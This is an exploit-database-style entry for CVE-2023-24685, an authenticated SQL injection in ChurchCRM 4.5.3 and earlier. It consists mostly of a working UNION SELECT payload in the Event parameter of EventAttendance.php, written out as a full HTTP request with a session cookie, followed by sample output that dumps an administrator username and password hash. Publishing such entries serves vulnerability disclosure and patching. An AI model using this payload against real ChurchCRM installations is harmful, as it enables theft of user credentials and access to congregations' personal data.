ChurchCRM v4.5.3 - Authenticated SQL Injection

# Exploit Title: ChurchCRM 4.5.3 - Authenticated SQL Injection
# Date: 27-04-2023
# Exploit Author: Iyaad Luqman K
# Software Link: https://github.com/ChurchCRM/CRM/releases
# Vendor Homepage: http://churchcrm.io/
# Tested Version: 4.5.1
# Tested on: Windows, Linux
# CVE: CVE-2023-24685


ChurchCRM v4.5.3 and below was discovered to contain a SQL injection vulnerability via the Event parameter 
under the Event Attendance reports module.

- After Logging in, go to 
```
GET /EventAttendance.php?Action=List&Event=2+UNION+ALL+SELECT+1,NULL,CONCAT(%27Perseverance%27,usr_Username,%27:%27,usr_Password),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+from+user_usr--+-&Type=Sunday%20School HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: CRM-7bf048c51cd7d0923f0ab3e959c3d3f6=d99fjb19f2kp081ol95remfm6d
Connection: close

```
- The response will dump the `usr_Username` and `usr_Password` from the database.
```
PerseveranceAdmin:261f4aef6877ce6c11a780ae6c13e4e2f27a8a55f69d6d6785fc787063272db4	
```